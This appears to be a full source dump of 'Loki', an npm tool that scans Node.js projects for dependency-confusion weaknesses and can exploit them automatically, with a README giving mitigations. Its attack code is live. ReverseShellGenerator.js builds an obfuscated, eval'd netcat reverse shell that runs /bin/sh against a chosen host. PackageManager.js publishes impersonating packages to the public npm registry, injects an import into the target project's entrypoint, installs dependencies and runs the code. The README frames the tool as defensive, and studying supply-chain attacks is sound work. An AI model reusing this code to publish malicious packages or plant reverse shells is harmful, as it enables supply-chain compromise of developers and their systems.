├── .npmignore ├── .gitignore ├── .eslintignore ├── vulnerable-project-test ├── index.js ├── package.json └── package-lock.json ├── SECURITY.md ├── .eslintrc.json ├── loki-snync └── src │ ├── RegistryClient.js │ ├── RepoManager.js │ ├── Parser.js │ └── main.js ├── LICENSE ├── src ├── ReverseShellGenerator.js ├── npm-api.js ├── PackageManager.js └── main.js ├── package.json ├── CONTRIBUTING.md ├── bin └── loki.js └── README.md /.npmignore: -------------------------------------------------------------------------------- 1 | vulnerable-project-test 2 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | .idea/ 3 | -------------------------------------------------------------------------------- /.eslintignore: -------------------------------------------------------------------------------- 1 | node_modules/* 2 | bin/* 3 | loki-snync/bin/* 4 | -------------------------------------------------------------------------------- /vulnerable-project-test/index.js: -------------------------------------------------------------------------------- 1 | console.log('This is the index file of a vulnerable package.'); 2 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | Please report (suspected) security vulnerabilities by opening an [issue](https://github.com/Xh4H/Loki/issues/new). If the issue is confirmed, a patch will be released as soon as possible, depending on the complexity. 3 | -------------------------------------------------------------------------------- /vulnerable-project-test/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "loki-vulnerability-test", 3 | "version": "1.0.0", 4 | "description": "Loki vulnerability test", 5 | "repository": { 6 | "type": "git", 7 | "url": "git://github.com/hitgub/test.git" 8 | }, 9 | "type": "module", 10 | "main": "index.js", 11 | "author": "Xh4H", 12 | "license": "ISC", 13 | "dependencies": { 14 | "loki-this-dependency-does-not-exist": "^1.1.0", 15 | "axios": "^0.24.0" 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /.eslintrc.json: -------------------------------------------------------------------------------- 1 | { 2 | "env": { 3 | "browser": true, 4 | "es6": true 5 | }, 6 | "globals": { 7 | "Atomics": "readonly", 8 | "SharedArrayBuffer": "readonly" 9 | }, 10 | "ignorePatterns": [ 11 | "test/", "node_modules/" 12 | ], 13 | "parserOptions": { 14 | "ecmaVersion": 2018, 15 | "sourceType": "module", 16 | "allowImportExportEverywhere": true 17 | }, 18 | "rules": { 19 | "indent": [2, "tab"], 20 | "quotes": [2, "single"], 21 | "semi": [2, "always"] 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /loki-snync/src/RegistryClient.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | import undici from 'undici'; 4 | 5 | class RegistryClient { 6 | // @TODO should we instantiate with some configuration 7 | // such as supporting proxy settings and others? 8 | // constructor() {} 9 | 10 | async getPackageMetadataFromRegistry({ packageName }) { 11 | const { body } = await undici.request( 12 | `https://registry.npmjs.org/${encodeURIComponent(packageName)}`, 13 | { 14 | method: 'GET', 15 | headers: { 16 | 'content-type': 'application/json' 17 | } 18 | } 19 | ); 20 | 21 | const dataBuffer = []; 22 | for await (const data of body) { 23 | dataBuffer.push(data); 24 | } 25 | 26 | const packageMetadata = Buffer.concat(dataBuffer).toString('utf8'); 27 | const packageMetadataObject = JSON.parse(Buffer.from(packageMetadata).toString('utf8')); 28 | 29 | return packageMetadataObject; 30 | } 31 | } 32 | 33 | export default RegistryClient; 34 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Juan Jiménez Bleye 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /vulnerable-project-test/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "loki-vulnerability-test", 3 | "version": "1.0.0", 4 | "lockfileVersion": 1, 5 | "requires": true, 6 | "dependencies": { 7 | "axios": { 8 | "version": "0.24.0", 9 | "resolved": "https://registry.npmjs.org/axios/-/axios-0.24.0.tgz", 10 | "integrity": "sha512-Q6cWsys88HoPgAaFAVUb0WpPk0O8iTeisR9IMqy9G8AbO4NlpVknrnQS03zzF9PGAWgO3cgletO3VjV/P7VztA==", 11 | "requires": { 12 | "follow-redirects": "^1.14.4" 13 | } 14 | }, 15 | "follow-redirects": { 16 | "version": "1.14.9", 17 | "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.9.tgz", 18 | "integrity": "sha512-MQDfihBQYMcyy5dhRDJUHcw7lb2Pv/TuE6xP1vyraLukNDHKbDxDNaOE3NbCAdKQApno+GPRyo1YAp89yCjK4w==" 19 | }, 20 | "loki-this-dependency-does-not-exist": { 21 | "version": "1.1.0", 22 | "resolved": "https://registry.npmjs.org/loki-this-dependency-does-not-exist/-/loki-this-dependency-does-not-exist-1.1.0.tgz", 23 | "integrity": "sha512-piUsqZZMWM3FR5D3uggQOiwqMi3x85o6ZKNHxf3TFVclNMNnmuOhKHjob9FD95yX5YLqhq+KZ0CAJ55NUuDJPg==" 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/ReverseShellGenerator.js: -------------------------------------------------------------------------------- 1 | import netcat from 'netcat'; 2 | 3 | class ReverseShellGenerator { 4 | constructor({ host, port }) { 5 | this.host = host; 6 | this.port = port; 7 | } 8 | 9 | client() { 10 | const client_code = `client.addr('${this.host}').port(${this.port}).retry(5000).connect().exec('/bin/sh');`; 11 | const encoded_client_code = Buffer.from(client_code).toString('base64'); 12 | const code = `import netcat from 'netcat'; 13 | const client = new netcat.client(); 14 | class ReverseShell { 15 | constructor() { 16 | eval(Buffer.from('${encoded_client_code}', 'base64').toString('ascii')); 17 | } 18 | } 19 | `; 20 | 21 | return `${code} 22 | export default ReverseShell`; 23 | } 24 | 25 | opener(pkg) { 26 | // swap hyphens with underscore 27 | let new_pkg = pkg.replace(/-/g, '_'); 28 | const code = `;const Client = new ${new_pkg}();`; 29 | return `import ${new_pkg} from '${pkg}';\nconst Client = new ${new_pkg}();\n`; 30 | } 31 | runLocalServer() { 32 | const server = new netcat.server(); 33 | server.k().port(this.port).listen().serve(process.stdin).pipe(process.stdout); 34 | } 35 | } 36 | 37 | export default ReverseShellGenerator; 38 | -------------------------------------------------------------------------------- /src/npm-api.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | import profile from 'npm-profile'; 4 | import PackageManager from './PackageManager.js'; 5 | 6 | class NpmHandler { 7 | constructor(token) { 8 | this.token = token; 9 | this.opts = { '//registry.npmjs.org/:_authToken': this.token }; 10 | } 11 | 12 | _isReadOnly(token) { 13 | return token.readonly; 14 | } 15 | async verifyToken() { 16 | let success = false; 17 | try { 18 | const tokens = await profile.listTokens(this.opts); 19 | // loop through tokens 20 | for (const index in tokens) { 21 | if (Object.prototype.hasOwnProperty.call(tokens, index)) { 22 | if (success) break; 23 | 24 | const { token } = tokens[index]; 25 | if (this.token.startsWith(token)) { 26 | success = !this._isReadOnly(token); 27 | } 28 | } 29 | } 30 | 31 | return {success}; 32 | } catch (e) { 33 | return { error: !!e }; 34 | } 35 | } 36 | 37 | async getProfile() { 38 | return await profile.get(this.opts); 39 | } 40 | 41 | createPackage(data) { 42 | data.token = this.token; 43 | this.pm = new PackageManager(data); 44 | return this.pm.impersonatePackage(); 45 | } 46 | } 47 | 48 | export default NpmHandler; 49 | -------------------------------------------------------------------------------- /loki-snync/src/RepoManager.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | import childProcess from 'child_process'; 4 | 5 | class RepoManager { 6 | constructor({ directoryPath }) { 7 | this.directoryPath = directoryPath; 8 | } 9 | 10 | getFileSnapshots({ filepath }) { 11 | const { stdout } = childProcess.spawnSync( 12 | 'git', 13 | ['log', '--pretty=format:%ct %H', '--first-parent', '--', filepath], 14 | { cwd: this.directoryPath } 15 | ); 16 | const commitsString = Buffer.from(stdout).toString('utf8'); 17 | 18 | return ( 19 | commitsString 20 | .split('\n') 21 | .map(line => { 22 | const [unixTs, hash] = line.split(' '); 23 | 24 | return { 25 | ts: unixTs * 1000, 26 | hash, 27 | content: this.getFileForCommit({ 28 | hash, 29 | filepath 30 | }) 31 | }; 32 | }) 33 | // Order snapshots from oldest to newest 34 | .reverse() 35 | ); 36 | } 37 | 38 | getFileForCommit({ hash, filepath }) { 39 | const { stdout } = childProcess.spawnSync('git', ['show', `${hash}:${filepath}`], { 40 | cwd: this.directoryPath 41 | }); 42 | return Buffer.from(stdout).toString('utf8'); 43 | } 44 | } 45 | 46 | export default RepoManager; 47 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "@xh4h/loki", 3 | "version": "1.0.8", 4 | "description": "The dependency confusion vulnerability scanner and autoexploitation tool", 5 | "type": "module", 6 | "main": "bin/index.js", 7 | "scripts": { 8 | "lint": "eslint .", 9 | "lint:fix": "eslint . --fix" 10 | }, 11 | "bin": { 12 | "loki": "./bin/loki.js" 13 | }, 14 | "engines": { 15 | "node": ">=14" 16 | }, 17 | "dependencies": { 18 | "chalk": "^5.0.0", 19 | "eslint": "^8.4.1", 20 | "libnpmpack": "^3.0.0", 21 | "libnpmpublish": "^4.0.2", 22 | "meow": "^10.1.2", 23 | "netcat": "^1.5.0", 24 | "npm-profile": "^5.0.4", 25 | "undici": "^4.11.3", 26 | "validate-npm-package-name": "^3.0.0" 27 | }, 28 | "devDependencies": { 29 | "follow-redirects": ">=1.14.7", 30 | "nanoid": ">=3.1.31" 31 | }, 32 | "repository": { 33 | "type": "git", 34 | "url": "git+https://github.com/Xh4H/Loki.git" 35 | }, 36 | "keywords": [ 37 | "exploit", 38 | "supply", 39 | "chain", 40 | "attacks", 41 | "confusion", 42 | "dependency", 43 | "vulnerability-scanners", 44 | "mitigation" 45 | ], 46 | "author": "Xh4H", 47 | "license": "ISC", 48 | "bugs": { 49 | "url": "https://github.com/Xh4H/Loki/issues" 50 | }, 51 | "homepage": "https://github.com/Xh4H/Loki#readme" 52 | } 53 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing to Loki 2 | I want to make contributing to this project as easy and transparent as possible, whether it's: 3 | 4 | - Reporting a bug 5 | - Discussing the current state of the code 6 | - Submitting a fix 7 | - Proposing new features 8 | - Becoming a maintainer 9 | 10 | ## Any contributions you make will be under the MIT Software License 11 | In short, when you submit code changes, your submissions are understood to be under the same [MIT License](http://choosealicense.com/licenses/mit/) that covers the project. Feel free to contact the maintainers if that's a concern. 12 | 13 | ## Report bugs using Github's [issues](https://github.com/Xh4H/Loki/issues) 14 | We use GitHub issues to track public bugs. Report a bug by [opening a new issue](https://github.com/Xh4H/Loki/issues/new); it's that easy! 15 | 16 | Write bug reports with detail, background, and sample code 17 | 18 | **Great Bug Reports** tend to have: 19 | 20 | - A quick summary and/or background 21 | - Steps to reproduce 22 | - Be specific! 23 | - Give sample code if you can. 24 | - What you expected would happen 25 | - What actually happens 26 | - Notes 27 | 28 | * 1 tab for indentation 29 | * You can try running `npm run lint:fix` for style unification 30 | 31 | ## License 32 | By contributing, you agree that your contributions will be licensed under its MIT License. 33 | -------------------------------------------------------------------------------- /loki-snync/src/Parser.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | import path from 'path'; 4 | import fs from 'fs'; 5 | import validatePackageName from 'validate-npm-package-name'; 6 | 7 | class Parser { 8 | constructor({ directoryPath, manifestType } = {}) { 9 | this.directoryPath = directoryPath; 10 | this.manifestType = manifestType; 11 | } 12 | 13 | getEarliestSnapshotPerDependency({ snapshots }) { 14 | const result = {}; 15 | 16 | if (this.manifestType === 'npm') { 17 | for (const snapshot of snapshots) { 18 | let manifest; 19 | 20 | try { 21 | manifest = JSON.parse(snapshot.content); 22 | } catch (_) { 23 | // Skip broken snapshots 24 | continue; 25 | } 26 | 27 | const dependencies = this.getDependencies({ manifest }); 28 | 29 | for (const dependency of dependencies) { 30 | if (!result[dependency]) { 31 | result[dependency] = snapshot; 32 | } 33 | } 34 | } 35 | } 36 | 37 | return result; 38 | } 39 | 40 | getDependenciesFromManifest() { 41 | let projectManifest; 42 | 43 | if (this.manifestType === 'npm') { 44 | projectManifest = JSON.parse( 45 | fs.readFileSync(path.resolve(path.join(this.directoryPath, 'package.json'))) 46 | ); 47 | } 48 | 49 | return this.getDependencies({ manifest: projectManifest }); 50 | } 51 | 52 | getDependencies({ manifest }) { 53 | let allDependencies; 54 | 55 | if (this.manifestType === 'npm') { 56 | // @TODO need to also add here other sources for deps like peerDeps, etc 57 | const prodDependencies = Object.keys(manifest.dependencies || {}); 58 | const devDependencies = Object.keys(manifest.devDependencies || {}); 59 | 60 | allDependencies = [].concat(prodDependencies, devDependencies); 61 | } 62 | 63 | return allDependencies; 64 | } 65 | 66 | classifyScopedDependencies(dependencies) { 67 | const scopedDependencies = []; 68 | const nonScopedDependencies = []; 69 | let scopedOrgs = []; 70 | 71 | for (const dependency of dependencies) { 72 | const packageNameStructure = dependency.match(validatePackageName.scopedPackagePattern); 73 | if (packageNameStructure && packageNameStructure[1]) { 74 | scopedDependencies.push(dependency); 75 | scopedOrgs.push(packageNameStructure[1]); 76 | } else { 77 | nonScopedDependencies.push(dependency); 78 | } 79 | } 80 | 81 | scopedOrgs = [...new Set(scopedOrgs)]; 82 | 83 | return { 84 | scopedOrgs, 85 | scopedDependencies, 86 | nonScopedDependencies 87 | }; 88 | } 89 | } 90 | 91 | export default Parser; 92 | -------------------------------------------------------------------------------- /src/PackageManager.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | import fs from 'fs'; 4 | import pack from 'libnpmpack'; 5 | import { execSync, fork } from 'child_process'; 6 | import { publish } from 'libnpmpublish'; 7 | import ReverseShellGenerator from './ReverseShellGenerator.js'; 8 | 9 | // npmjs default registry 10 | const OPTS = { 11 | registry: 'https://registry.npmjs.org/' 12 | }; 13 | 14 | class PackageManager { 15 | constructor({ pkg, version, directory, token, shell_data }) { 16 | this.pkg = pkg; 17 | this.version = version; 18 | this.base_directory = directory; 19 | this.loki_directory = `${this.base_directory}/_loki_packages`; 20 | this.directory = `${this.loki_directory}/${this.pkg}`; 21 | this.token = token; 22 | this.shell_data = shell_data; 23 | this.reverse_shell_generator = new ReverseShellGenerator(this.shell_data); 24 | } 25 | 26 | installDependencies() { 27 | return execSync('$(which npm) install', { 28 | cwd: this.base_directory 29 | }); 30 | } 31 | 32 | testInjection(file, success) { 33 | fork(file, { 34 | cwd: this.base_directory 35 | }); 36 | process.on('error', function (err) { 37 | console.log(err); 38 | }); 39 | process.on('exit', function (code) { 40 | const err = code === 0 ? null : new Error('exit code ' + code); 41 | console.log(err); 42 | }); 43 | 44 | success('Reverse shell ready:'); 45 | this.reverse_shell_generator.runLocalServer(); 46 | } 47 | 48 | insertPayload(file) { 49 | const contents = fs.readFileSync(`${this.base_directory}/${file}`, 'utf8'); 50 | fs.writeFileSync(`${this.base_directory}/${file}`, this.reverse_shell_generator.opener(this.pkg) + contents); 51 | return true; 52 | } 53 | 54 | async impersonatePackage() { 55 | fs.mkdirSync(this.directory, { recursive: true }); 56 | 57 | const package_json = JSON.stringify({ 58 | name: this.pkg, 59 | version: this.version, 60 | private: false, 61 | dependencies: { 62 | 'netcat': '^1.5.0', 63 | }, 64 | type: 'module', 65 | description: 'Loki automation package', 66 | repository: { 67 | 'type': 'git', 68 | 'url': `git://github.com/hitgub/${this.pkg}.git` 69 | }, 70 | main: 'index.js' 71 | }); 72 | fs.writeFileSync(`${this.directory}/package.json`, package_json); 73 | 74 | const index_js = this.reverse_shell_generator.client(); 75 | fs.writeFileSync(`${this.directory}/index.js`, index_js); 76 | 77 | const manifest = { 78 | name: this.pkg, 79 | version: this.version, 80 | description: 'Loki automation package' 81 | }; 82 | const tarData = await pack(`file:${this.directory}`, { ...OPTS}); 83 | 84 | return { 85 | manifest, 86 | job: publish(manifest, tarData, { 87 | ...OPTS, 88 | npmVersion: this.version, 89 | forceAuth: { 90 | token: this.token 91 | } 92 | }) 93 | }; 94 | } 95 | } 96 | 97 | export default PackageManager; 98 | -------------------------------------------------------------------------------- /bin/loki.js: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 'use strict' 3 | 4 | import { testProject as scan} from "../loki-snync/src/main.js"; 5 | import meow from 'meow' 6 | import chalk from 'chalk' 7 | import { setup } from "../src/main.js" 8 | const cli = meow(chalk.rgb(247, 30, 56)(` 9 | Usage 10 | $ loki [options] 11 | 12 | Options 13 | --directory -d Path to directory to scan 14 | --entrypoint -e Path to file to execute if directory is vulnerable (defaults to index.js) 15 | --inspect -i Enable inspector mode 16 | --accesstoken -a Access token for npmjs.com 17 | --attack Whether to attack the project 18 | --host Host IP where the reverse shell lister is running (defaults to localhost) 19 | --port Port where the reverse shell lister is running (defaults to 1456) 20 | `), { 21 | importMeta: import.meta, 22 | description: false, 23 | flags: { 24 | directory: { 25 | type: 'string', 26 | alias: 'd' 27 | }, 28 | entrypoint: { 29 | type: 'string', 30 | alias: 'e', 31 | default: 'index.js' 32 | }, 33 | inspect: { 34 | type: 'boolean', 35 | alias: 'i' 36 | }, 37 | accesstoken: { 38 | type: 'string', 39 | alias: 'a' 40 | }, 41 | attack: { 42 | type: 'boolean', 43 | }, 44 | host: { 45 | type: 'string', 46 | default: 'localhost' 47 | }, 48 | port: { 49 | type: 'number', 50 | default: 1456 51 | } 52 | } 53 | }); 54 | 55 | function log(message) { 56 | if (!message) return; 57 | console.log(chalk.rgb(247, 30, 56)('[Loki]'), message) 58 | } 59 | function greet() { 60 | console.log(chalk.rgb(247, 30, 56)(` _____ ___ ___ ____ _____ 61 | |_ _| .' \`.|_ ||_ _| |_ _| 62 | | | / .-. \\ | |_/ / | | 63 | | | _ | | | | | __'. | | 64 | _| |__/ |\\ \`-' /_| | \\ \\_ _| |_ 65 | |________| \`.___.'|____||____||_____| 66 | ` + '\n' + '[X] The Dependency Confusion vulnerability scanner and autoexploitation tool [X]')) 67 | } 68 | async function start() { 69 | greet() 70 | const { flags } = cli; 71 | const { directory, entrypoint, accesstoken, attack, host, port, inspect } = flags; 72 | 73 | if (!directory) { 74 | console.error(cli.help); 75 | process.exit(-1); 76 | } 77 | if (!accesstoken) { 78 | console.error('Loki requires an Access Token from npmjs.com to perform the exploitation.') 79 | console.error('Please create it in https://www.npmjs.com/settings//tokens/create.') 80 | process.exit(-1) 81 | } 82 | 83 | const pkgs = await scan({ 84 | projectPath: directory, 85 | log, 86 | debugMode: Boolean(inspect) 87 | }); 88 | if (Object.keys(pkgs).length === 0) { 89 | log('No vulnerabilities found'); 90 | } else { 91 | const shell_data = { 92 | attack, 93 | host, 94 | port 95 | } 96 | setup({ pkgs, directory, entrypoint, accesstoken, shell_data }) 97 | } 98 | } 99 | 100 | start() 101 | -------------------------------------------------------------------------------- /src/main.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | import fs from 'fs'; 4 | import chalk from 'chalk'; 5 | import Nm from './npm-api.js'; // Nm as NPM-API manager 6 | 7 | let manager; 8 | 9 | function log(message) { 10 | if (!message) return; 11 | console.log(chalk.rgb(247, 30, 56)('[Loki]'), message); 12 | } 13 | 14 | function success(message) { 15 | if (!message) return; 16 | log(chalk.rgb(0, 255, 0)(message)); 17 | } 18 | 19 | function error(message) { 20 | if (!message) return; 21 | log(chalk.rgb(255, 0, 0)(message)); 22 | } 23 | 24 | function warning(message) { 25 | if (!message) return; 26 | log(chalk.rgb(255, 255, 0)(message)); 27 | } 28 | 29 | function getVersion(pkg) { 30 | const matches = pkg.match(/(\d+\.\d+\.\d+)/); 31 | return matches ? matches[1] : '1.0.0'; // default to 1.0.0 32 | } 33 | 34 | async function getProfile() { 35 | try { 36 | return await manager.getProfile(); 37 | } catch (err) { 38 | console.log(err); 39 | } 40 | } 41 | 42 | function createPackage(pkg, version) { 43 | return manager.createPackage(pkg, version); // return the promise 44 | } 45 | 46 | async function handleSubmission(submission, shell_data, entrypoint) { 47 | const { manifest, job } = submission; 48 | const response = await job; 49 | 50 | if (response.status === 200) { 51 | success(`Package created successfully, available at \"${response.url}\"`); 52 | 53 | if (shell_data.attack) { 54 | log(`Performing attack using ${manifest.name}@${manifest.version}`); 55 | const result = manager.pm.insertPayload(entrypoint); 56 | if (result) { 57 | success(`Payload injected successfully with the following details: host=${shell_data.host} & port=${shell_data.port}`); 58 | log('Installing dependencies to download impersonated package.'); 59 | manager.pm.installDependencies(); 60 | 61 | success('Dependencies installed successfully'); 62 | log('Finally, running the code ...'); 63 | manager.pm.testInjection(entrypoint, success); 64 | } else { 65 | error('Failed to inject payload'); 66 | } 67 | } 68 | } else { 69 | error(`Package creation failed, status code: ${response.status}`); 70 | } 71 | } 72 | 73 | async function setup({ pkgs, directory, entrypoint, accesstoken, shell_data }) { 74 | manager = new Nm(accesstoken); 75 | const { dependencies } = JSON.parse(fs.readFileSync(`${directory}/package.json`, 'utf8')); 76 | const is_valid_token = await manager.verifyToken(); 77 | 78 | // verify that the token is valid and is available to retrieve data from npmjs 79 | if (is_valid_token.error || !is_valid_token.success) { 80 | error('Token provided is not valid. Make sure it is not readonly.'); 81 | process.exit(-1); 82 | } 83 | await getProfile(); 84 | 85 | // loop through the results 86 | const { results, commits } = pkgs; 87 | for (const pkg in results) { 88 | if (Object.prototype.hasOwnProperty.call(results, pkg)) { 89 | const state = results[pkg]; 90 | 91 | if (Object.prototype.hasOwnProperty.call(commits, pkg)) { 92 | success(`${state} package has been introduced in the commit with the following hash: ${commits[pkg]}`); 93 | } 94 | 95 | if (state === 'vulnerable') { 96 | const target_version = getVersion(dependencies[pkg]); 97 | 98 | success(`${pkg}@${target_version} is vulnerable.`); 99 | log(`Creating package ${pkg}@${target_version}.`); 100 | 101 | await handleSubmission(await createPackage({ 102 | pkg, 103 | directory, 104 | version: target_version, 105 | shell_data 106 | }), shell_data, entrypoint); 107 | } else if (state === 'suspicious') { 108 | warning(`${pkg} is suspicious. Proceed with manual investigation.`); 109 | } 110 | } 111 | } 112 | } 113 | 114 | export { setup }; 115 | -------------------------------------------------------------------------------- /loki-snync/src/main.js: -------------------------------------------------------------------------------- 1 | 'use strict'; 2 | 3 | import RepoManager from './RepoManager.js'; 4 | import Parser from './Parser.js'; 5 | import RegistryClient from './RegistryClient.js'; 6 | 7 | async function testProject({ projectPath, log, debugMode, privatePackagesList = [] }) { 8 | const registryClient = new RegistryClient(); 9 | const repoManager = new RepoManager({ directoryPath: projectPath }); 10 | 11 | const parser = new Parser({ 12 | directoryPath: projectPath, 13 | manifestType: 'npm' 14 | }); 15 | 16 | const allDependencies = parser.getDependenciesFromManifest(); 17 | const { nonScopedDependencies } = parser.classifyScopedDependencies(allDependencies); 18 | // @TODO warn the user about `scopedDeps` and `scopedDependencies` to make sure they own it 19 | 20 | log('Reviewing your dependencies...'); 21 | 22 | const snapshots = repoManager.getFileSnapshots({ filepath: 'package.json' }); 23 | const earliestSnapshotPerDependency = parser.getEarliestSnapshotPerDependency({ snapshots }); 24 | 25 | // Make all requests in parallel and await later when it needed 26 | const packagesMetadataRequests = nonScopedDependencies.reduce((acc, dependency) => { 27 | acc[dependency] = registryClient.getPackageMetadataFromRegistry({ 28 | packageName: dependency 29 | }); 30 | return acc; 31 | }, {}); 32 | 33 | const results = {}; 34 | const commits = {}; 35 | for (const dependency of nonScopedDependencies) { 36 | log(`Checking dependency: ${dependency}`); 37 | 38 | const packageMetadataFromRegistry = await packagesMetadataRequests[dependency]; 39 | const timestampOfPackageInSource = earliestSnapshotPerDependency[dependency] 40 | ? earliestSnapshotPerDependency[dependency].ts 41 | : Date.now(); // If a dependency is not in the git history (just added in the working copy) 42 | 43 | let timestampOfPackageInRegistry; 44 | if (packageMetadataFromRegistry && packageMetadataFromRegistry.error === 'Not found') { 45 | timestampOfPackageInRegistry = null; 46 | } else { 47 | // npmjs keeps time.created always in UTC, it's a ISO 8601 time format string 48 | timestampOfPackageInRegistry = new Date(packageMetadataFromRegistry.time.created).getTime(); 49 | } 50 | 51 | const isPrivatePackage = privatePackagesList.includes(dependency); 52 | 53 | // @TODO add debug for: 54 | // console.log('package in source UTC: ', timestampInSource) 55 | // console.log('package in registry: ', timestampOfPackageInRegistry) 56 | 57 | const status = resolveDependencyConfusionStatus({ 58 | isPrivatePackage, 59 | timestampOfPackageInSource, 60 | timestampOfPackageInRegistry 61 | }); 62 | 63 | if (status) { 64 | results[dependency] = status.match(/.*(vulnerable|suspicious)/)[1]; 65 | } else { 66 | log(`${dependency} does not seem to be vulnerable.`); 67 | } 68 | 69 | if (debugMode && earliestSnapshotPerDependency[dependency]) { 70 | commits[dependency] = earliestSnapshotPerDependency[dependency].hash; 71 | } 72 | } 73 | log('Scanning suspicious packages ...'); 74 | return { results, commits }; 75 | } 76 | 77 | function resolveDependencyConfusionStatus({ 78 | isPrivatePackage, 79 | timestampOfPackageInSource, 80 | timestampOfPackageInRegistry 81 | }) { 82 | let status = null; 83 | 84 | // if timestampOfPackageInRegistry exists and has 85 | // numeric values then the package exists in the registry 86 | if (timestampOfPackageInRegistry > 0) { 87 | const timeDiff = timestampOfPackageInSource - timestampOfPackageInRegistry; 88 | if (timeDiff < 0) { 89 | // this means that the package was first introduced to source code 90 | // and now there's also a package of this name in a public registry 91 | status = '❌ suspicious'; 92 | } else { 93 | if (isPrivatePackage) { 94 | status = '❌ suspicious'; 95 | } 96 | } 97 | } else { 98 | status = '⚠️ vulnerable'; 99 | } 100 | 101 | return status; 102 | } 103 | 104 | export { testProject }; 105 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 |

Loki

3 | 4 |
5 | 6 |
7 | npm version 8 | downloads 9 | Known Vulnerabilities 10 | Responsible Disclosure Policy 11 | License 12 |
13 | 14 | ## About 15 | **Loki** helps to identify `NodeJS` projects that are vulnerable to **Dependency Confusion supply chain** attacks. 16 | 17 | **Loki** has been created with the goal of helping developers to scan their projects and identifying possible attack vectors that could take advantage of vulnerabilities in the dependency supply chain. 18 | 19 | **Loki** is a god in Norse mithology. Among other powers, he is an adept shapeshifter and people impersonator. 20 | ## Disclaimer 21 | **Loki** is a defensive tool. The attack mode simply inserts a payload opening a listener service to allow the developer to connect to the compromised dependency with the sole purpose of showing the impact of a misconfigured module. 22 | 23 | ## When may a Dependency Confusion supply chain attack happen? 24 | **Dependency Confusion** attacks may occur if: 25 | * A company uses a hybrid approach to download their dependencies from both their internal repositories and public repositories. 26 | * A developer has not properly configured a project's `npm` registry. A lightweight private npm proxy registry such as [Verdaccio](https://verdaccio.org/) can be configured. 27 | * A typo in the name of a dependency may lead to an untrusted dependency being downloaded from the wrong repository. Better known as typosquatting. 28 | * The version specified of the wanted dependency in the `package.json` file allows downloading newer versions. Having such `"loki-this-dependency-does-not-exist": "^1.1.0"` dependency allows downloading the latest version of the dependency from `1.1.0` up to, but not including, `2.0.0`. Similar interaction happens with `tilde` `~`. If a project has a hybrid setup, if the public repository `such as npmjs.org` contains a higher version compared with the private repository, the public one will be downloaded. 29 | * A package name has a different import name. If a junior developer, by reading the code, expects the installation name of a package used in the repository is the same as the `import`. As an example, we can have a look at the Python image processing library `OpenCV` whose import name is `cv2` but the correct `pip install` command to install it is `pip install opencv-python`. 30 | 31 | ## Mitigation 32 | * Strict internal dependency management by configuring the private repository to never go beyond (access the public realm) when it does not contain the wanted dependency. As previously said, [Verdaccio](https://verdaccio.org/) is a nice tool to achieve this. 33 | * Using dependency scopes or namespaces to avoid typosquatting. 34 | * Using version pinning. This technique does not index whether your current dependencies have been compromised, but it will prevent from downloading newer untrusted versions. 35 | * Integrity checking. 36 | 37 | ## Features 38 | 39 | * Dependency scanning 40 | * npmjs package publishing 41 | * Configurable reverse shell generation 42 | * Payload injection in vulnerable projects 43 | * Attack mode (PoC after successful payload injection) 44 | * Inspector mode (display hash of the commit that introduced the vulnerable package if the directory to scan is a git repository) 45 | 46 | ## Usage 47 | ### Prerequisite 48 | To use this tool, it is expected that you have the following available in your environment: 49 | 50 | - Node.js and npm in stable and recent versions 51 | - The Git binary available in your path 52 | 53 | ### If downloaded from the repository: 54 | ``` 55 | $ node bin/loki.js [options] 56 | ``` 57 | ### Using npx: 58 | ``` 59 | $ npx @xh4h/loki [options] 60 | ``` 61 | 62 | ### Options 63 | ``` 64 | Options 65 | --directory -d Path to directory to scan 66 | --entrypoint -e Path to file to execute if directory is vulnerable (defaults to index.js) 67 | --inspect -i Enable inspector mode 68 | --accesstoken -a Access token for npmjs.com 69 | --attack Whether to attack the project 70 | --host Host IP where the reverse shell listener is running (defaults to localhost) 71 | --port Port where the reverse shell listener is running (defaults to 1456) 72 | ``` 73 | 74 | 75 | ## Contributing 76 | [Contributing Guide](CONTRIBUTING.md) 77 | 78 | ## License 79 | [MIT](LICENSE) 80 | 81 | ## Credits 82 | Big thanks to the [Snyk](https://snyk.io/) team for their work on [snync](https://github.com/snyk-labs/snync) as 